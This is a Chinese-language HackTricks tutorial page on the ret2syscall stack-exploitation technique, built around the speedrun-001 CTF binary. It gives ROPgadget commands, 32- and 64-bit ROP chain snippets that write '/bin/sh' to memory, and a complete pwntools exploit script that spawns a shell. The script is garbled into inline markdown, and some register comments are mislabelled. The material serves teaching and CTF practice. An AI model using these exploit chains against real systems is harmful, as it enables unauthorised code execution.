# Ret2syscall

## Ret2syscall

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上**关注**我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

### 基本信息

这类似于Ret2lib，但在这种情况下，我们不会调用库中的函数。在这种情况下，一切都将准备好调用`sys_execve`系统调用，带有一些参数来执行`/bin/sh`。这种技术通常用于静态编译的二进制文件，因此可能有大量的gadget和syscall指令。

为了准备**syscall**的调用，需要进行以下配置：

* `rax: 59 指定sys_execve`
* `rdi: 指向"/bin/sh"的指针，指定要执行的文件`
* `rsi: 0 指定未传递任何参数`
* `rdx: 0 指定未传递任何环境变量`

因此，基本上需要在某个地方写入字符串`/bin/sh`，然后执行`syscall`（注意控制堆栈所需的填充）。为此，我们需要一个gadget来将`/bin/sh`写入已知区域。

{% hint style="success" %}
另一个有趣的要调用的syscall是\*\*`mprotect`**，它允许攻击者**修改内存中页面的权限\*\*。这可以与[**ret2shellcode**](https://hacktricks.xsx.tw/binary-exploitation/stack-overflow/stack-shellcode)结合使用。
{% endhint %}

### 寄存器gadget

让我们开始找到**如何控制这些寄存器**：

```bash
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
0x0000000000400686 : pop rdi ; ret
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
```

使用这些地址，可以**将内容写入堆栈并加载到寄存器中**。

### 写入字符串

#### 可写内存

首先，您需要在内存中找到一个可写的位置

```bash
gef> vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
```

#### 写入内存中的字符串

然后，您需要找到一种方法在这个地址中写入任意内容

```python
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
```

#### 自动化 ROP 链

以下命令在存在 write-what-where gadgets 和 syscall 指令时，针对静态二进制文件创建完整的 `sys_execve` ROP 链：

```bash
ROPgadget --binary vuln --ropchain
```

**32 位**

```python
'''
Lets write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''

rop += popRdx           # place value into EAX
rop += "/bin"           # 4 bytes at a time
rop += popRax           # place value into edx
rop += p32(0x6b6000)    # Writable memory
rop += writeGadget   #Address to: mov qword ptr [rax], rdx

rop += popRdx
rop += "//sh"
rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget
```

**64 位**

```python
'''
Lets write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
```

### 缺少小工具

如果您**缺少小工具**，例如在内存中写入`/bin/sh`，您可以使用**SROP技术来控制栈中的所有寄存器值**（包括RIP和参数寄存器）：

{% content-ref url="srop-sigreturn-oriented-programming" %}
[srop-sigreturn-oriented-programming](https://hacktricks.xsx.tw/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming)
{% endcontent-ref %}

\`\`\`python from pwn import \*

target = process('./speedrun-001') #gdb.attach(target, gdbscript = 'b \*0x400bad')

## Establish our ROP Gadgets

popRax = p64(0x415664) popRdi = p64(0x400686) popRsi = p64(0x4101f3) popRdx = p64(0x4498b5)

## 0x000000000048d251 : mov qword ptr \[rax], rdx ; ret

writeGadget = p64(0x48d251)

## Our syscall gadget

syscall = p64(0x40129c)

''' Here is the assembly equivalent for these blocks write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800 pop rax, 0x6b6000 mov qword ptr \[rax], rdx ''' rop = '' rop += popRdx rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end rop += popRax rop += p64(0x6b6000) rop += writeGadget

''' Prep the four registers with their arguments, and make the syscall

pop rax, 0x3b pop rdi, 0x6b6000 pop rsi, 0x0 pop rdx, 0x0

syscall '''

rop += popRax rop += p64(0x3b)

rop += popRdi rop += p64(0x6b6000)

rop += popRsi rop += p64(0) rop += popRdx rop += p64(0)

rop += syscall

## Add the padding to the saved return address

payload = "0"\*0x408 + rop

## Send the payload, drop to an interactive shell to use our new shell

target.sendline(payload)

target.interactive()

```
## 其他示例和参考资料

* [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html)
* 64位，无PIE，nx，在某个内存中写入一个ROP以调用`execve`并跳转到那里。
* [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html)
* 64位，nx，无PIE，在某个内存中写入一个ROP以调用`execve`并跳转到那里。为了在堆栈中写入执行数学运算的函数而被滥用
* [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
* 64位，无PIE，nx，BF canary，在某个内存中写入一个ROP以调用`execve`并跳转到那里。
```
